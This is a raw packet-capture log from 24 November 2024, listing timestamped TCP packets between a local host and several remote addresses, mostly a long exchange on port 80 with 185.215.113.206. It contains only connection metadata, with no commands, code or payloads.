Nov 24, 2024 04:20:46.264890909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.264949083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.265002966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.265044928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.265702009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.265757084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.265809059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.266069889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.266541004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.266587973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.266750097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.266989946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.267350912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.267415047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.267445087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.267484903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.268163919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.268213987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.268265009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.268316031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.268981934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.269045115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.269084930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.269793987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.269824028 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.269836903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.269838095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.270153046 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.270546913 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.270562887 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.270667076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.270699978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.270740032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.272301912 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.273833990 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.273858070 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.274816036 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.274962902 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.275026083 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.275193930 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.275206089 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.275542021 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.275619984 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.276331902 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.276400089 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.277863026 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.278655052 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.287693977 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.287801981 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.287853956 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.287884951 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.287945032 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.287955046 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.289134979 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.289205074 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.289380074 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.289437056 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.289608955 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.289684057 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.290007114 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.290086031 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.313616037 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:46.313662052 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:46.313725948 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:46.316737890 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:46.316756964 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:46.317277908 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.317279100 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.317297935 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.333442926 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.333456039 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.364800930 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.389825106 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.405555010 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.405566931 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.405566931 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.405600071 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.405623913 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.426354885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.426424980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.426528931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.426589966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.426657915 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.426698923 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.426711082 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.426740885 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.427455902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.427531004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.427624941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.427686930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.428407907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.428508997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.428530931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.428596020 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.429085016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.429135084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.429188013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.429236889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.429897070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.429960966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.430002928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.430069923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.430742025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.430794001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.430835962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.430932045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.431546926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.431601048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.431678057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.431762934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.432357073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.432410955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.432486057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.432558060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.433198929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.433253050 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.433425903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.433475971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.434000969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.434056997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.434104919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.434184074 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.434870005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.434937954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.434962034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.435024023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.435650110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.435709953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.435765982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.435836077 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.436506987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.436592102 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.436651945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.437280893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.437401056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.437441111 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.437442064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.438096046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.438159943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.438222885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.438416004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.438915014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.438980103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.439021111 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.439070940 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.439734936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.439811945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.439862013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.440005064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.440550089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.440604925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.440613985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.440879107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.441440105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.441581011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.441629887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.441629887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.442188025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.442277908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.442285061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.442431927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.442997932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.443064928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.443109989 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.443164110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.443856955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.443933964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.443954945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.444072962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.444642067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.444781065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.444816113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.444850922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.445461035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.445538998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.445581913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.445632935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.446291924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.446352959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.446403980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.446458101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.447107077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.447164059 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.447217941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.447266102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.447952986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.448010921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.448025942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.448071003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.448749065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.448812008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.448892117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.448946953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.449603081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.449712992 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.449771881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.449852943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.450378895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.450437069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.450603962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.451180935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.451227903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.451273918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.451282024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.451335907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.452016115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.452068090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.452133894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.452379942 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.452846050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.452946901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.452996016 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.453650951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.453826904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.453881025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.454468966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.454581976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.454595089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.454638958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.455307961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.455365896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.455372095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.455418110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.456118107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.456222057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.456270933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.456933022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.456993103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.457045078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.457134008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.457743883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.457806110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.457839966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.457880974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.458564043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.458617926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.458710909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.458849907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.459386110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.459500074 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.459587097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.459628105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.460184097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.460244894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.460280895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.460323095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.461019993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.461082935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.461122990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.461163998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.461841106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.461914062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.461918116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.461952925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.462670088 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.462748051 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.462781906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.462824106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.463485956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.463531017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.463573933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.463618994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.464309931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.464370012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.464369059 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.464428902 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.465126991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.465229034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.465285063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.465929031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.465985060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.466027021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.466077089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.466754913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.466875076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.466926098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.467565060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.467608929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.467715979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.467758894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.468386889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.468434095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.468497992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.468705893 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.469161987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.469315052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.515407085 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.515662909 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.531930923 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:46.531992912 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:46.532054901 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:46.532345057 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:46.532358885 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:46.636717081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.636792898 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.636899948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.637084961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.637103081 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.637129068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.637135029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.637164116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.637907982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.638029099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.638073921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.638762951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.638845921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.638890982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.639542103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.639606953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.639642954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.639678955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.640353918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.640425920 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.640466928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.640583992 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.641191006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.641261101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.641284943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.641330957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.642075062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.642139912 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.642194033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.642235994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.642808914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.642869949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.642910957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.642950058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.643625021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.643681049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.643760920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.643837929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.644475937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.644583941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.644629955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.645258904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.645385027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.645428896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.645451069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.646087885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.646140099 CET	49835	80	192.168.2.6	185.215.113.206
